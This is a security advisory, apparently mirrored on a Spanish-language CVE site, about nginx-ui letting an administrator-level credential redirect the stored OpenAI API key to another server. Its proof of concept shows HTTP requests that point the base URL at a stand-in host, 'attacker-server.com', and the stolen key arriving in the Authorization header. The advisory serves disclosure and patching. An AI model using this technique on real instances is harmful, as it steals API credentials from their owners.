GHSA-P355-QJWH-8HGM
OpenAI API Key Exfiltration via Unprotected BaseUrl Setting Change
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-P355-QJWH-8HGM divulgada · CVSS 2.7 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
An administrator session or an `api:write` service token (nginx-ui has no low-privilege interactive users) could change the saved OpenAI base URL or proxy while sending the redacted token placeholder, which restored the stored API key. Subsequent LLM requests then sent the stored key to the new destination. Affects instances with an LLM provider token configured. The changed base URL is visible on the settings page.
Patches
Fixed in 2.9.1 (fecb2a8d71 https://github.com/0xJacky/nginx-ui/commit/fecb2a8d71): the saved token is only reused while the base URL, proxy and API type keep their saved values; changing any of them requires the token to be re-entered.
Workarounds
Limit `api:write` tokens to trusted automation, and rotate the provider key if the saved base URL or proxy changed unexpectedly.
---
Original report
The maintainer narrowed the following points: the prerequisite is an administrator-equivalent credential rather than "any authenticated user", and the base URL change is visible in the UI.
Summary
Any authenticated user can exfiltrate the stored OpenAI API key by changing the unprotected BaseUrl setting to an attacker-controlled server while preserving the real token via the sentinel value `__NGINX_UI_REDACTED__`. The maintainer's own code comment in `api/llm/models.go` describes this exact attack but protection was only applied to one endpoint.
Details
nginx-ui's OpenAI integration stores the API key with `sensitive:"true"` (redacted as `__NGINX_UI_REDACTED__` when read via API). However, the `BaseUrl` and `Proxy` fields in `settings/openai.go` lack the `protected:"true"` tag, allowing any authenticated user to redirect all LLM API calls to an attacker-controlled server. The real API key is sent in the `Authorization` header of every redirected request.
The Sentinel Value Attack
The attack exploits the `restore` function in `api/settings/section.go` (lines 224-230):
var openAISection = settingsSection[settings.OpenAI]{
restore: func(payload *settings.OpenAI) {
if payload.Token == redactedSensitiveValue {
payload.Token = settings.OpenAISettings.Token // preserves real token
}
},
}By sending `__NGINX_UI_REDACTED__` as the token alongside a new BaseUrl, the attacker preserves the victim's real API key while redirecting where it is sent.
Maintainer Awareness
The maintainer is aware of this exact attack vector. In `api/llm/models.go` (lines 57-62), a code comment explicitly states:
// The saved token is only sent to the saved endpoint through the saved proxy:
// otherwise anyone who can open the settings page could point the base URL at
// a server of their own and read the token from the request.The `storedTokenFor()` function implements this protection — but only for the `ListModels` endpoint. The actual LLM request path (`MakeChatCompletionRequest` in `api/llm/llm.go` line 89) calls `GetClient()` which reads directly from `settings.OpenAISettings` without any BaseUrl validation.
Root Cause
| File | Line | Issue |
|------|------|-------|
| `settings/openai.go` | 21 | `BaseUrl` has no `protected:"true"` tag |
| `settings/openai.go` | 23 | `Proxy` has no `protected:"true"` tag |
| `api/settings/section.go` | 224-230 | `restore` function preserves token with sentinel |
| `api/llm/llm.go` | 89 | `GetClient()` uses saved settings without BaseUrl check |
| `internal/llm/client.go` | 34,50 | Token sent to user-controlled URL |
Proof of concept
Prerequisites: nginx-ui instance with OpenAI configured (any version with LLM integration).
Step 1: Victim admin configures OpenAI with a real API key:
POST /api/settings/openai
Content-Type: application/json
Authorization: Bearer <jwt>
{"token": "sk-proj-REAL-KEY", "base_url": "https://api.openai.com/v1", "provider": "openai"}Step 2: Attacker (any authenticated user — no RBAC) changes only the BaseUrl, using the sentinel value to preserve the real token:
POST /api/settings/openai
Content-Type: application/json
Authorization: Bearer <attacker-jwt>
{"base_url": "https://attacker-server.com/v1", "token": "__NGINX_UI_REDACTED__"}Result: HTTP 200 — BaseUrl changed, token preserved via restore function.
Step 3: Any user triggers the AI assistant (chat, code completion, config title generation):
POST /api/llm
Content-Type: application/json
Authorization: Bearer <any-jwt>
{"messages": [{"role": "user", "content": "hello"}]}Step 4: Attacker's server receives the real API key:
POST /v1/chat/completions HTTP/1.1
Host: attacker-server.com
Authorization: Bearer sk-proj-REAL-KEY <-- STOLEN
Content-Type: application/json
{"model":"gpt-4","messages":[{"role":"user","content":"hello"}]}Full automated PoC with embedded capture server tested on Docker (nginx-ui latest). Token captured in Authorization header.
Impact
- API key theft: The victim's OpenAI API key (which can cost thousands of dollars in usage) is sent to the attacker's server in the Authorization header
- Stealthy: The token still appears as `__NGINX_UI_REDACTED__` in the settings UI — the victim has no visual indication the BaseUrl was changed
- Affects all LLM calls: Every chat completion, code suggestion, and title generation sends the key to the attacker
- Inconsistent protection: The `storedTokenFor()` function in `models.go` proves the maintainer considers this a real threat — but the protection only covers the ListModels endpoint, not MakeChatCompletionRequest
- Real-world scenario: In a shared nginx-ui instance (common in teams), a disgruntled team member or compromised account can silently steal the organization's OpenAI API key
Suggested Fix
Add `protected:"true"` to `BaseUrl` and `Proxy` fields in `settings/openai.go`:
type OpenAI struct {
BaseUrl string `json:"base_url" protected:"true"`
Token string `json:"token" sensitive:"true"`
Proxy string `json:"proxy" protected:"true"`
}This is consistent with how other security-sensitive fields are protected (`Terminal.StartCmd`, `Logrotate.CMD`, `Crypto.Secret`, all Casdoor/OIDC fields).
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
gogithub.com/0xJacky/Nginx-UI |
Sin parche | — | — | v1.9.9 afectada |
2.9.1Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-p355-qjwh-8hgmLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
